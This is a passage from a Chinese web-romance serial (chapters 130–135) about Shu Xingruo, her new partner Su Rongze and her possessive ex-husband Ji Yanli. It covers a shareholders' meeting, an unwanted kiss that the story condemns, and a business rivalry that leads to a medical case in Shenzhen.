取了药膏,童逸然要请舒星若吃饭,被苏容泽无情的驱赶。
“滚蛋,我要跟若若约会,别当电灯泡。”
童逸然骂骂咧咧的上车走了。
舒星若笑着问他:“你那么在意他打扰我们?”
苏容泽说:“他呀,烦死了,老是问我们的细节,我才不告诉他。”
舒星若忽然想起什么:“那你介意许许在家吗?”
“当然不介意,”他真诚的说道:“要是你将来真的生不了,我都打算将他和恬恬培养成东盛的继承人。”
舒星若蓦地有些想哭,“你真这么想?”
“当然,”他深情的望着舒星若:“我很庆幸能遇见你,有你足矣,人生不可能十全十美。”
舒星若感动得落泪,“容泽,你好到让我愧疚。”
苏容泽抚摸着她细腻白皙的脸蛋,替她擦掉眼泪:“傻姑娘,愧疚什么?你值得拥有这世间一切美好的事物。”
在他眼里,舒星若温柔善良,熠熠闪耀。
“别墅明天我就安排人过户到你名下,这份礼物我一定要送给你。”
舒星若不再拒绝,“谢谢你!”
吃完饭到家之后,季知许已经被送回来了。
他感觉两天不见,妈妈跟苏容泽更加亲密了,问道:“你们是要结婚了吗?”
苏容泽笑而不语,只要舒星若现在点头,他马上就备好聘礼娶她回家。
舒星若脸有些发烫:“暂时还不结婚,苏叔叔搬过来住你有意见吗?”
他乖巧的说:“没有任何意见。”
苏容泽抱起他往电梯里走,季知许抱着他的脖子,认真的叮嘱道:“苏叔叔,一定要全心全意爱我妈妈。”
舒星若说:“你个小屁孩懂什么叫全心全意吗?”
“我当然懂,就是他眼里只有你。”
舒星若心想坏了,这小子最近又看什么书了?
电梯门打开,苏容泽放下季知许。
舒星若问:“你从哪本书上看来的?”
“《飘》。”
舒星若两眼一黑,“那个你还小,不适合看这类书,等你上初中再看。”
《飘》是季知许最近在书房角落里发现的,看到斯嘉丽为了保住塔拉庄园嫁给她妹夫那里了,正看得起劲,被舒星若勒令禁止看。
小嘴撅得老高,委屈巴巴的说:“妈妈,不要嘛,我想看斯嘉丽后来怎么样了。”
第130章 季宴礼被安排相亲
苏容泽见他可怜巴巴的样子,心里一片柔软:“没事,你可以把这本书看完。下次看书要经过妈妈或者我的同意。”
“耶!苏叔叔你真是天底下最好的人了。”
千穿万穿,马屁不穿。季知许从小就知道夸人,令身边的人愉悦且喜欢自己。
他开心的跑回房间,舒星若说:“我发现你是个特别惯孩子的家长。”
苏容泽说:“聪明伶俐的孩子,就要好好护着他那份纯真之心。”
“行吧,你说啥是啥。”
苏容泽拿出舒星若定制的棋子对弈,碧玺棋子配上榧木棋盘,连下棋都变成了他们恋爱的誓词。
两人连下两局,都杀得难解难分,以平局告终。
苏容泽不得不佩服舒星若的智商:“若若,你这个小脑瓜子是真好用。”
舒星若微笑:“苏总过奖过奖。”
苏容泽捏着她既软又香的纤纤玉手,感慨道:“你像一个完美的小仙女,时不时的给我惊喜。”
舒星若说:“你又何尝不是呢?”在她眼里,苏容泽像谪仙般纯洁无瑕。
她起身去书房找了一本书去给季知许讲故事,季知许正在和季宴礼视频,舒星若忙示意苏容泽不要跟进来。怕他大半夜的又跑过来砸门。
季宴礼问季知许:“你妈最近都在干嘛?怎么周末把你丢给奶奶不带你出去玩?”他记忆里舒星若周末都是带季知许出去玩。
季知许说:“是我想爷爷奶奶了,自己要回去的。”
舒星若心想:“儿子果然机灵,都知道帮她打掩护。”转念一想,“我跟容泽在一起的事他早晚得知道,我不能看他脸色过日子。”轻叹一声,翻起了手中那本书。
季宴礼问:“这个点了,她该给你讲故事了,怎么还没来?”
季知许将摄像头转向:“妈妈在等呢,爸爸,我先不跟你聊了。”
季宴礼望着坐在一旁低头看书的舒星若,娴静又美丽。
他心口酸楚,自己为她做了那么多,她怎么就不肯回头呢?
季知许在季宴礼心碎期间,猝不及防的关了视频。季宴礼都没看够舒星若,心里堵得慌。
舒星若坐到季知许身边,“今天我们继续讲历史故事吧。”
“好呀!”
舒星若给季知许讲完故事回到房间,苏容泽期待已久了。
“小仙女,我等着你宠幸我呢。”
舒星若伸手摸他的胸肌,他一把将舒星若拉进怀里,密集的吻便落了下来。
吻了几分钟他浑身燥热,手在舒星若肌肤上游离。这个尤物般的女人简直就是个小妖精,将他勾得欲罢不能。
随着舒星若在他的身下战栗,苏容泽的情欲到达巅峰,互相都体会了此事的美妙。
简单清洗之后,两人相拥而眠。
清晨起来,苏容泽早早的刷好了牙,等着梅开二度。
舒星若却说:“别闹,今天要上班呢。你这样连着一天两次,腰还要不要了?”
苏容泽略带失望的说:“好吧,晚上我一定要。”
舒星若含笑轻拍他:“你之前三十年是怎么过来的?从来都不想女人吗?”
苏容泽说:“没有人值得我惦记,只有你让我心心念念。”
他爱上了她,拥有了她,沉溺在她的温柔乡之中。
之前舒星若生活在冷柜婚姻中,跟季宴礼仅有的两次也没体会到这事的美妙之处。
但跟苏容泽水乳交融之后,她发现他们太契合了,她自己也上头了。
等舒星若洗漱期间,苏容泽打开电脑看今日日程,快年底了,子公司各种会议汇报排得满满的。
舒星若出来之后,他合上电脑,“若若,我今天非常忙,中午在公司食堂吃饭,你要是有时间可以上来陪我。”
舒星若摇头:“瑞祥制药今天开股东大会,我要去参加。”
两人边说边进了电梯:“季宴礼是不是也参加会议?”
“应该来,他是集团总裁兼大股东。”
苏容泽感觉头大,扶了扶金丝眼镜:“我怕他又在你面前胡说八道或者逼迫你。”
舒星若却不担心:“季家已经给他安排相亲对象了。”
韦瑛深知季宴礼的执念,但是舒星若不爱他了,这么执着下去对两人都不好。
韦瑛猜测舒星若既然住进了苏容泽的房子里,大概是好上了。
季宴礼又搬到了隔壁,这样破坏人家感情太没男人气概了。
她积极帮挑选季宴礼的相亲对象,城中各路名媛中产家庭的单身女性们,一听说要和季宴礼相亲,前来询问的人多如牛毛。
他是标准的钻石王老五,单身,有钱,长得高大英俊。
韦瑛面对这些女孩子的照片,看得眼花缭乱。个个都是精美写真,瞧不出真实的样貌。
她选了十几个一一面谈了,人品差的坚决不要。都是何欣太能装,导致儿子婚姻破裂的。
她对人品差的心眼多的有成见。
最终给季宴礼敲定了五个相亲对象。
要么长得温婉动人要么性情温柔善良要么两者兼备,她就不信季宴礼不会动心。
到了一楼餐厅,苏容泽愣了一下:“相亲,他愿意吗?”
苏容泽被吉广琪安排相亲过,他觉得社死到极致。
“不知道啊,不过来一个心眼多的,拿下他应该不是问题。”季宴礼当初就是被何欣各种套路拿下的。
舒星若带着黄丽歌到了季氏大楼,这是她第一次来。
保安一眼就认出了她:“太太,您来了,季总吩咐我们要送您上楼。”
“太太”两个字格外刺耳,舒星若面色清冷:“我不是你们的太太,我跟你们季总已经离婚了。叫我舒总,记得别叫错了。”
保安手足无措的不知道怎么叫,他决定不喊了。只说:“您这边请!”
黄丽歌小声在她耳边说:“舒总,你前夫对你余情未了。”
两人刚进去,舒星若身后有一名一身小香套装的女孩脸色大变。
她叫岑茵蘅,是瑞祥制药的现任CEO,藤校医学系毕业,家里在国外经营酒庄和红酒产业。
家境优越,她自身非常优秀,凭实力考进藤校的。
归国之后进入揽月制药担任研发部核心人物,在业内口碑很好,后来何欣被舒星若搞掉CEO的职务,她跳槽进了瑞祥。
自从见到季宴礼的第一天起,她就发誓要得到这个男人。
这段时间以来,她一直在季宴礼面前表现,但季宴礼对她只有工作上的态度,其他再无。
她不介意,这种优秀男人要拿下不是容易的事。
直到她刚听见了黄丽歌的话,原来是季宴礼对前妻余情未了。
岑茵蘅握手机的手逐渐变紧:“余情未了又怎样?都是前妻了,肯定是有不可调和的矛盾。”
她安慰着自己,阔步走进了电梯里。
第131章 为了舒星若,季宴礼大战股东
保安领着舒星若到了瑞祥的会议室,瑞祥在季氏集团中不算核心业务,因此办公室在十五楼整层。
离总裁办的35层顶层很远。
当日何欣拍下的那块地在紧锣密鼓的建设当中,预计明年第一季度末尾就可以投产。
季宴礼的规划是将来他跟舒星若复婚,瑞祥全权交给舒星若打理。
他不能再将她禁锢在家里,那样会使她想逃,他给她自由翱翔的天空。
会议室里坐了很多人,大伙听说舒星若要来,纷纷早早来看热闹。
已经很多人听说了舒星若做了苏容泽的女朋友,这一场壮阔的三角恋,待会舒星若见了季宴礼该是怎样的反应,想想就刺激。
舒星若前脚刚到,季宴礼随后就来了。
舒星若的座位离他不远,中间隔了两三个股东,可见舒星若在瑞祥制药里的股份占比不低。
季宴礼一改往日的冷漠,对舒星若展露笑容。
以前舒星若总觉得他笑起来像阳光少年,令人如沐春风。但即使她经常逗他,他都很少对自己笑。
往日心心念念的东西,现在得来毫不费力。
但现在她已经没有感觉了,只淡淡的点头以表回应。
岑茵蘅很快到了,她看到了季宴礼灿若繁星的笑容,心里一阵嫉妒,“季总可从来没对我这样笑过,这个女人真不知好歹,这么好的男人都不要。”
九点一到,股东大会正式开始。
首先是岑茵蘅汇报本财年的财报,主要讲本年度营收、净利润和投资,瑞祥制药今年最大的一笔投资就是从舒星若手里买的那三个古方。
舒星若手上的股份是季宴礼自掏腰包从市面上买回来的,经过董事会批准才转让给她的。
舒星若已经做完了所有的前期实验,包括临床数据都提供了,所以股东们对这笔投资没有异议。
大家都是人精,加上市场调研公司出具的报告,相信这几个药物将来投产必定赚得盆满钵满。极有可能复刻当年揽月制药的神话。
而且在季宴礼的授意下,将药物做了两个版本,处方药版和非处方药版,谋求市场份额最大化。
岑茵蘅汇报完毕,轮到季宴礼讲话。
他说:“谢谢岑总给我们带来精彩的年报,也感谢岑总这段时间将公司带入正轨。”
大家纷纷鼓掌表示感谢。
听到季宴礼的夸奖,岑茵蘅心里荡过一阵甜蜜,只有自己才能成为季总最有得力的助手。舒星若这个女人只会坐享其成。
岑茵蘅对季宴礼的心思众人皆知,有人嘲讽道:“不要再来一个何欣就好。”
“那倒不会,她比何欣有能力多了。”
“但你看她,眼睛都快黏季总身上了。”
“哪个女人不喜欢高富帅?”
季宴礼接着说道:“公司有了这三款核心药物,将来在制药领域必定能进入国内前十行列。还要感谢舒总前期为公司做好的铺垫,因此我决定将新药上打上行止堂祖传秘方几个字。”
舒星若震惊,自己明明已经拒绝季宴礼了,他怎么还在股东大会上提起来?
大家议论纷纷七嘴八舌议论起来,郁仁第一个跳出来反对:“季总,您这样做,不符合公司利益。瑞祥出了大价钱卖了药物配方,这三款药就跟行止堂没有任何关系了。”
他眼睛扫过舒星若那张美丽的脸,真是红颜祸水。
郁仁朗声说道:“舒总虽然是公司的股东,但行止堂可不是。行止堂跟我们公司没有半毛钱关系,我知道您这个提议是为了舒总。您这样假公济私,会让我们怀疑您是不是真心为了公司利益。还是仅仅是为了博美人一笑。”
郁仁的一番话让股东们心生疑窦,怀疑季宴礼的真实目的。
岑茵蘅立刻跳出来表态:“站在公司角度,我也反对。这三个古方不仅要替公司赚钱,还要让公司在业内名声大噪。如果打上行止堂的名字,大大削弱了公司的影响力。”
凭什么让那个女人春风得意,名利双收?
季宴礼在商场上向来不打没把握的仗,他杀伐果断,已经做好了万全之策。
瑞祥董事会秘书穆朗,给每位参会人员发了一份调查报告,上面显示了行止堂目前在网上的声望、如果瑞祥跟行止堂捆绑所带来的经济效益、以及省下的前
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期公关费用和营销费用。
虽然报告上写得一清二楚,但郁仁还是心存疑虑。上次就是季宴礼恋爱脑发作将何欣任命成CEO,他的两个女人内斗差点害公司损失几千万。
这次难免他又是为了舒星若想出这个假公济私的主意。
季宴礼厉色说道:“我这么做恰恰是从公司利益出发,现在各位股东投票表决。”
穆朗说:“赞同的请举手。”
除了郁仁、岑茵蘅和舒星若没有举手其他人都举手了,结果显而易见。
季宴礼纳闷,舒星若为什么不举手,但他不好在这个场合追问。
郁仁对舒星若的反对深感疑惑,难道不是她跟季宴礼提出的要求?季宴礼只是从商业的角度考虑的?
季宴礼沉着的说道:“我在此预祝各位股东,下一个财年赚得盆满钵满。”
众人鼓掌,岑茵蘅不情不愿跟着鼓掌,她的眼神快要刀了舒星若。
股东大会结束,大家没看到舒星若跟季宴礼之间的精彩大戏,觉得有点遗憾。
岑茵蘅憋了一肚子气,自己在瑞祥天天劳心劳力,舒星若却施施然的来摘果子,仅仅是因为她嫁对了人吗?
真是个命好的女人,她一定要走进季宴礼的心里。
舒星若起身离开,季宴礼开口道:“你来我办公室一趟。”
顶层的总裁办需要刷卡才能进入,舒星若跟着言永飞进了总裁专用梯。
舒星若问:“你们老板又要发什么神经?”
言永飞指了指上面的摄像头:“舒总,我不能说。”
黄丽歌笑:“那肯定是要向您诉衷情。”黄丽歌刚不能进会议室,但她在外面听说了季宴礼的霸气护短,“都那么护着您了,肯定想跟您再续前缘。”
言永飞心脏都要跳出来了,舒星若的助理竟然这么敢说,年纪小就是好。
舒星若突然有点不想去了,但是电梯已经到了,季宴礼就在电梯口等她,想逃也来不及了。
季宴礼伸手要来牵舒星若的手,她毫不留情的拒绝:“季总,请自重。”
“星若,我为你做了这么多,你还是不肯给我机会吗?”
第132章 让那个女人消失
舒星若的声音里带着清冷和遥不可及的距离:“不会有机会了,我已经爱上了苏容泽。”
“你不必为我做这些,外公不在乎那些虚名,他要出名早就出名了。他在乎的只有我的幸福。”
季宴礼眼神变冷:“他又怎知我不能给你幸福?”
舒星若嘲讽的笑了:“你说这话不觉得可笑吗?我们的婚姻存续了六年,你骂我怨我了六年,何来幸福而言?你连放我自由都不肯。”
季宴礼说:“我们之间的误会已经解除了,何欣至少无期,我在想办法活动判她**。”
他近乎哀求的说道:“星若,你就再回头看看我吧。”
舒星若摇摇头:“这一辈子的风景很多,我就不陪你看了。”
她转身要走,季宴礼却抢上前,双手捧紧她的脸,低头亲了上去。
他的吻急促又猛烈,舒星若短暂的懵圈,随即反应过来,用力挣扎,双方力气差距太大,根本就挣不开。
她越挣扎他吻得越狠,仿佛要将舒星若整个人吞噬。季宴礼的呼吸变得粗重,他的情欲彻底爆发了。他不介意在办公室要了她。
舒星若感觉到他的疯狂,死死的咬住他的嘴唇,季宴礼吃疼才放开了她。
他的嘴唇被咬得出血,他却丝毫不在意,冲着舒星若笑。
舒星若忍无可忍,直接扇了他一巴掌,这一巴掌用尽她所有力气,季宴礼的俊脸都肿了起来。
她怒骂道:“季宴礼,你浑蛋。”
“星若,我受不了你爱上苏容泽,你这辈子只能是我的。”
舒星若眼睛猩红:“你闭嘴,我不是谁的所有物,苏容泽从来没有强迫过我。只有你把我当做物件。”
说完,她冲了出去。
岑茵蘅在门外等着来找季宴礼,刚才股东会结束的时候她看见言永飞带舒星若上总裁判,心里冒出恐慌的感觉,这是一向笃定的她前所未有的感觉。
她见舒星若跑出来,嘴上的口红花了,心中如坠深渊,难道他们刚刚接吻过?旧情复燃了?
她绝不允许这种女人在季宴礼身边。
她敲门,季宴礼说:“进。”
岑茵蘅进去就看见季宴礼肿起的侧脸,她既震惊又心疼,眼睛瞬间红了:“季总,是舒星若打的吗?”
季宴礼冷冷的看了她一眼,“我的私事轮不到你来管。”
岑茵蘅抑制不住心中汹涌澎湃的情感:“这个女人不值得您为她这样付出,她水性杨花,跟您离婚没几天就找了别的男人,她……”
“够了,”季宴礼厉声喝道,将手中的文件摔在办公桌上,怒气冲冲的站了起来:“你算个什么东西在这里编排我太太,不想死就给我滚出去。”
他满身戾气,离婚前的他温文尔雅,舒星若离开他之后,他整个人都陷入懊悔之中。被岑茵蘅这样一刺激,他凶相毕露。
岑茵蘅被他吓得**了几步,轻声说道:“季总,她已经不是您太太了。”
“滚!”
季宴礼最讨厌听的就是这句话,舒星若永远都是他的太太。
岑茵蘅顿了顿,她在心里给自己打气,我决不能放弃。
她冲上前抱住季宴礼:“宴礼,我爱你,我受不了你这样被舒星若吊着,她根本就不爱你。我可以替代她爱你,我比她做得好千倍万倍。”
季宴礼猛地挣开,像一头发狂的雄狮:“滚,我是你老板,仅此而已。你要是再有下次,我一定让你没有好果子吃。凭你也想替代我太太,少白日做梦了。还有,你给我记住了。”
他怒目圆睁,一字一句的说道:“舒星若永远都会爱我,永远。”
“滚!”
岑茵蘅出来的时候,胸口还是一起一伏的,她眼露杀气,被外面的言永飞看在眼里。
言永飞赶紧进去汇报:“季总,刚刚岑茵蘅露出杀气了,不知道你们刚发生了什么。”
季宴礼心下大叫不好,岑茵蘅可能会对舒星若下手。
他说:“让她滚回国外去,永远不能回国,她妄想替代星若的位置,做梦。”
何欣雇**人,季宴礼是彻底怕了,他要杜绝一切能伤害舒星若的根源。
舒星若虽然离开了他,至少她还平安的活着,她要是出个意外,他怕自己会疯掉。
岑茵蘅拿的是国外永居,让她在国内待不下去季宴礼有的是方法。
季宴礼吩咐道:“让她以收受商业贿赂的罪名被
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遣返,三天之内,她必须滚蛋。”
言永飞说:“可是现在瑞祥正值新药上市的关键时刻,短时间内我们上哪物色合适的CEO?”
季宴礼嘴角浮上微笑:“星若不就是现成的吗?”舒星若短时间内能将行止生物做得风生水起,能力是靠得住的。
言永飞表明冷静,心里已经在偷骂季宴礼是狗了。
“可是她自己有公司,她会放弃吗?”
季宴礼的眼眸变得深沉:“由不得她不放弃,瑞祥制药群龙无首,她是股东,必须担负起责任来。”
行止生物在东盛大厦办公,苏容泽近水楼台,季宴礼就不让他们好下去。
等舒星若来了,他会一点一点的找回她的爱。
言永飞有点心疼舒星若:“那行止生物怎么办?也是群龙无首啊。”
季宴礼说:“我会帮她找个职业经理人,你现在就去找猎头。”
“好的,季总。”
言永飞出去之后直摇头,心里暗暗骂道:“季宴礼还真喜欢不当人,难怪舒星若会离开他。舒星若就算来了,肯定也不会搭理他。”
舒星若直到回到公司,心绪才平复下来。一路上黄丽歌握紧她的手,才让她的手逐渐停止了颤抖。
方才舒星若冲出来的时候黄丽歌看见了,她猜出了大概,怒骂道:“你那个前夫真的不是个东西。”
舒星若不想节外生枝,苏容泽要是知道了必定要跟季宴礼对上,这两人仅是打架还好,受点皮外伤。
如果是商战,必定是一场血雨腥风。
舒星若叮嘱黄丽歌:“这事谁也别说。”
黄丽歌不明白:“您都被欺负了,干嘛不告诉苏容泽,让他帮您讨回公道。”
舒星若摇头:“闹起来,只会两败俱伤。”季宴礼大部分资产都是季知许的,资产损失了舒星若心疼。
苏容泽这边,她舍不得他受到伤害,苏家人要是知道他在商战中让东盛蒙受巨额损失,他将被赶走。
他多年的心血付诸东流。
只是被季宴礼强吻,让她恶心半天,回公司拿漱口水漱了几遍口。
苏容泽打来电话:“若若,中午可以来东盛食堂陪我吃饭吗?”
第133章 在全公司公开舒星若
舒星若被季宴礼欺负了,格外的想念苏容泽,想他的温柔与尊重。
“行啊,刚好尝一尝你们食堂的味道。”她强装镇定的回答道。
苏容泽笑着说:“以后就是我们的了。”
苏容泽的计划是尽快领证,他们的财产混在一起,尤其是他的财产。
只要苏家人敢逼他离婚,他就敢把苏家的财产奉送给舒星若。
看看谁比谁更横。
舒星若被他的突然表白吓了一大跳,那么大的企业怎么可能是自己的?
她说:“少开这种玩笑。”
“我是认真的。”
东盛集团的食堂在六楼,舒星若到的时候苏容泽已经带着宗司辰在等她了。
路过的员工都好奇总裁到底在等哪位贵客,应该是某位重要的客户,但是请客户吃食堂?
苏总这么抠门的吗?
舒星若觉得气氛怪怪的,“我上来吃个饭而已,你俩怎么还当起了迎宾?”
宗司辰心说:“总裁都激动半小时了,又不是第一次约会,不知道有什么好激动的。。”
苏容泽热情的牵起她的手,给了个太阳似的笑容:“你能陪我吃午饭太好了。”
舒星若纳闷:“我们不是经常一起吃午饭吗?”
“在公司食堂,意义不一样。”
他要几乎所有员工见证他的女朋友跟他亲密互动,将来她就是他的太太。他想告诉所有人,自己现在有多幸福。
舒星若只觉得他故弄玄虚,心突突的跳,他该不会是想当众求婚吧?是的话,那就太尴尬了。
她还没打算嫁给他。
她轻声问道:“那个你不会是想当众求婚吧?”
苏容泽说:“没有,当众求婚就是把你架在火上烤,我不会做这种事,我舍不得你难过。”
舒星若心中暖暖的,苏容泽一直这么有风度,什么事都随自己的心意,不像季宴礼整日强迫自己。
“小泽泽,你可真好!”
苏容泽清了清嗓子,低声在她耳边说:“在公司还是不要叫我这个绰号了。”要被他员工听见,他得找个洞钻进去,他要脸。
很不幸的是后面的宗司辰听见了,奈何职业素养束缚他不能笑,快憋出内伤了。
苏容泽牵着舒星若走进食堂,员工们都看呆了。
总裁亲自迎接的人竟然是一个漂亮女人,恋爱脑附身了?
有人看过他们的直播,认出了舒星若,窃窃私语道:“怪不得苏总愿意陪她直播,原来是喜欢了。”
有的大龄员工差点老泪纵横:“我还以为苏总一辈子单身呢,终于有人要了。”
另一名员工反驳道:“你说反了吧?苏总不是没人要,是他自己挑剔,不肯要别人。”
“对呀,听说大明星郁蕊蕊喜欢他,他理都不理。”
“可是,这位舒小姐离过婚生过孩子,咱们头婚的苏总不介意吗?”
“你咋这么封建呢?他们郎才女貌的,苏总自己都不在乎,你介意什么?”
被怼的人面红耳赤,确实是自己狭隘了。
“听说舒小姐的前夫是季氏集团的总裁,好像还在追前妻中呢。”
“三角恋吗?展开说说。”
员工们交头接耳的讨论着,看热闹个个喜闻乐见。
苏容泽只想让他的女朋友公之于众,一来宣告幸福,二来杜绝其他对他有想法的女性。
他可没空应酬他们。
宗司辰帮他们打了饭,东盛集团食堂的饭菜味道不错,而且免费,算是给打工人的福利。
舒星若开玩笑道:“苏总,你还真不是黑心资本家,知道体恤打工人。”
苏容泽笑着说:“我也不算特别好,给员工提供免费饭菜初衷是想拉拢人心,打算后面取消的。只是后来发现给员工提供了便利,保留了下来。”
他虽然对苏家人没好脸色,对员工从不盘剥。倒也不算特别好,只是遵纪守法,决不违反劳动法。
东盛集团只要当年经营状况良好,他就会让财务到年底时多发点奖金。
因此,他的员工们个个干劲十足,对他感恩戴德的人不少。
舒星若正在专心的啃糖醋排骨,苏容泽放下筷子说道:“
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星若,你能不能帮我治一个病人?”
“能啊。”只要力所能及,她都愿意救。
苏容泽一脸为难:“可是要去深市救。”
舒星若说:“家里的佣人我不是特别熟悉,我问安禾有没有时间帮我看许许,有的话我就去。”
她打开手机给林安禾播了过去,苏容泽已经悄悄给林安禾转了一万,并留言:【拜托,今晚一定有空陪许许,我需要若若陪我去深市。】
林安禾听到微信提示音,在一堆卷宗里抬起头,她忙得午饭只吃了早上剩的半个煎饼果子。
苏容泽竟然给自己转账,她点开微信匆匆看了一眼,舒星若的电话就进来了。
“安禾,晚上有空没?”
林安禾望着堆叠成山的文件,撒谎道:“有空的。”
“晚上帮我带一下许许,我要出差,家里的佣人我不太放心。”
“好!”季知许很好带,她家又有佣人,自己可以在她家工作。
挂了电话,她将转账退还给苏容泽,【苏总,星若是我的亲姐妹,能帮忙我一定帮忙。以后不要拿钱来砸我。】
她虽然爱钱,但是她不能因为苏容泽给钱才帮舒星若。
苏容泽深表歉意,他低估了他们的友谊。
【不好意思,我刚才一时情急,下不为例。】
因为是临时决定飞深市的,来不及申请航线,坐民航过去,宗司辰给他们订了头等舱。
舒星若关心的问道:“你是遇到什么急事了吗?走得这么匆忙。”
她的药箱都是黄丽歌送过来的,吃完饭他们直奔机场。
苏容泽不确定说了实话舒星若还会不会帮他,他望向舒星若明亮似星辰的眼睛,决定不对她隐瞒。
“我让你去治的是我客户的老婆,她腿摔断了,医生说再无可能站起来。我想着你有这方面的经验,假如治好了,客户会感激我的。”
舒星若乖巧的说:“你帮我那么多,我帮你是应该的。”
他顿了顿说道:“这个客户我正在跟季宴礼抢夺。”
说完看向舒星若。
第134章 你和季宴礼,我只会选你
舒星若心中一阵震动,她最不愿意看到两人商战。
“你们是要斗起来了吗?”
苏容泽点头:“我们有个大客户叫万鑫电子,季宴礼准备把他撬走,最近他们出新品,季氏降价,已经送样测试了。”
“今天上午童逸然刚好跟万鑫电子开会,他偷偷发现的。我知道,季宴礼是为了报复我把你抢走。我也不会怕他,他要战便战。CEO和研发老大季宴礼都搞定了,我现在只能从董事长这边下手。”
“正好董事长太太摔伤了,童逸然打听到医生没办法,我就想到了你。”
苏容泽忐忑的望着舒星若:“若若,你要是不肯帮我,我也不会怪你。毕竟季宴礼是你前夫。”
舒星若闭上双眼沉思了一会,下定决心道:“我愿意帮你,但我不能保证一定能治好她。”
她不是万能的,不是所有的病都有把握。
苏容泽赌赢了,他脸上露出欣慰的笑容,将舒星若搂进怀里:“若若,只要你肯帮我,我就心满意足了。”
“你为什么会觉得我会选季宴礼那头呢?”她靠在苏容泽坚实的胸肌上,“以后你不许这么患得患失,你跟季宴礼我只会选你。”
“若若,有了你这句话,我就算跟他打得头破血流我也心甘情愿。”苏容泽说完,俯身在她额头上轻轻一吻。
舒星若忧心道:“他现在发疯了,我怕你们会两败俱伤。苏家的人虎视眈眈的,万一把你踢出董事会怎么办?”
“放心,你男人我有的是能力和力气与他们周旋。他们几乎已经黔驴技穷了,不用害怕。”
舒星若还是放心不下来:“你需要我的地方就说,我会尽自己所能帮你。虽然我能力一般般。”
苏容泽吻住她的粉唇,“不许妄自菲薄,你短短几个月将一家企业营收做到了九位数,谁来不夸你一句商业奇才?”
舒星若有自知之明:“前期你帮我那么多,要不是你陪我直播也不会这么火爆。”
苏容泽说:“我那只是助力,你被姜学名跟何欣暗害了几次,都没有被打垮,还得是你自身能力够强。”
舒星若笑着说:“谢谢苏总的夸奖,咱能不能不要商业互吹了?你跟我讲讲病人的情况,我好先准备着。”
苏容泽摇头:“具体情况童逸然没有打听出来,只知道她是摔的。”
舒星若面色沉重:“要是伤到了腰椎神经,那就麻烦了。”
苏容泽柔声宽慰她:“没事,你尽全力去救,其余的事情交给我。”
到了深市机场,东盛集团旗下分公司已经派人来接了,直接将他们接到万鑫董事长柯兴昌的别墅里。
柯兴昌请了港城的顶级医疗团队,在家里打造了一个顶级病房,几位专家对着卧在病床上的董事长太太唐梵束手无策。
巧的是这几位专家也是当年季宴礼的主治医生。
他们听说治好季宴礼的中医来了,脸上的忧愁都减轻了不少。
当年季宴礼也被他们判了“**”,但是一年多以后奇迹般的站起来,成了港圈医疗界的神话。
被大家津津乐道了很多年,原本有很多人瞧不起中医,季宴礼被治好之后他们才发现自己的见识浅薄。
所有人都想认识舒星若。
但那时她已经回了海市,他们无缘与她交流治疗心得。
舒星若只见病床上躺着的是个中年美妇人,面部因疼痛时而扭曲,但眼神却异常清明。一天前在攀岩中摔了下来,被掉落的石块砸中腰部,腿部也多处骨折。
腿部骨折的地方医生们已经紧急处理了,麻烦的是腰椎部分。
何兴昌心急如焚,他怕妻子永远站不起来。
舒星若打开唐梵的病历和检查报告,倒吸了一口冷气,腰椎粉碎性骨折。要是伤到了神经,那就是最恶劣的情况了。
“腰椎L1、L2节段粉碎性骨折,伴有椎管内骨块嵌入。”赵医生举着CT片子,语气沉重,“手术风险极高,即便成功,瘫痪的可能性也超过百分之九十五。”
这就是医疗团队迟迟不敢动手术的原因。
“医生,无论什么方法,只要有一线希望让我重新站起来,我都愿意尝试。”唐梵的声音虚弱但坚定。
何兴昌却不同意冒险:“阿梵,我不能让你冒险。”
赵医生推了推眼镜:“现代医
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学对此类损伤的方案主要是手术固定,但你的情况…”他停顿了一下,“说实话,手术成功率不到一成。”
“这位舒医生治好了季氏集团的季宴礼,当年他也是站立无望。一年多以后,季宴礼恢复如常。”
柯兴昌的脸上升起希望:“舒医生,求你救救我太太。”
舒星若的手指轻轻按压在唐梵的腰背部,“这里感觉如何,这里呢?”
随着按压位置的变化,唐梵时而咬牙忍痛,时而表示麻木无知觉。
舒星若仔细查看了CT片和MRI结果,又为唐梵把了脉,观察舌苔。
她脸色逐渐缓和:“脊髓受压迫但未完全断裂,还可以救治。”
听到这句话,屋内乌云压顶的气氛清朗了不少。
“但是让柯太太恢复乐观的话至少四个月,前面两个月以我的治疗为主,后面两个月是物理康复。”
苏容泽问:“你能在深市待四个月?”
舒星若摇头:“待不了,海市我有公司还有孩子。”
唐梵刚升起的希望被彻底浇灭。
柯兴昌说:“舒医生,你开个价,多少钱你愿意留下来给我太太治病?”
他请港城的医疗团队花了五千万,大不了给舒星若一个人这么多钱。
舒星若示意他们出去谈,为了苏容泽,她就当一回奸商。
舒星若说:“柯总,我可以将唐太太带回海市治疗,您出个包机的钱就行。我分文不收,但您必须答应你们的新品不要换掉东盛的产品。”
苏容泽诧异,他想不到舒星若会直截了当的提出来。她从不拿医术要挟他人,为了自己她竟然破戒了。
柯兴昌犹豫了,他已经接到CEO的汇报,季氏这次的AMOLED降价幅度不错,恰好可以作为他们新品的宣传点,到时候极有可能进一步提高市场占有率。
苏容泽不给他迟疑的时间,拉起舒星若就要走,“既然柯总觉得产品比你太太的健康更重要,那就这样吧。”
舒星若不想放弃,还想劝劝何兴昌,却被苏容泽无情的拽走了。
出来之后,舒星若不解的问道:“容泽,你这是干什么?”
第135章 季宴礼来做什么
苏容泽气定神闲的说:“我认识他们夫妻俩很多年了,柯兴昌对唐梵感情很深。这件事是板上钉钉的事,不用过多的劝他,我们只用回酒店等消息就行了。”
舒星若却有点难以置信:“真的可以吗?”毕竟让苏容泽这么重视的客户,一定涉及巨额交易。
在利益面前最是考验人性,而人性经不起考验。
苏容泽却笃定的说道:“信我,何兴昌一定会同意的。”
舒星若的神色还是不淡定,苏容泽接着说道:“即使他不同意,也是天意。我们就当来深市度假了。”
舒星若佩服他的心态,果然泰山崩于前而面不改色。
折腾了一下午,他带舒星若去吃顶级粤菜,他特意让人从广府请过来的。
苏容泽知道舒星若爱吃粤菜,广府大师傅做的避风塘炒蟹让她吃出了童年的味道。
舒星若开心的笑:“谢谢小泽泽的贴心安排!”
苏容泽说:“你为我不辞辛苦的奔波,作为男朋友请你吃顿饭不是应该的吗?”
“可是这不是简单的一顿饭,是你费尽心思的准备。”
他抵住她的额头:“为你,我心甘情愿。”
舒星若夹了一块东江酿豆腐,“小时候我一想妈妈王阿姨就给我做这道菜,她说是我妈最爱吃的菜,吃着它就像是我妈在吃。”
从小到大舒星若都渴望母爱和父爱,别的小朋友都有父母疼爱,她虽然有外公外婆疼爱,但替代不了父母。
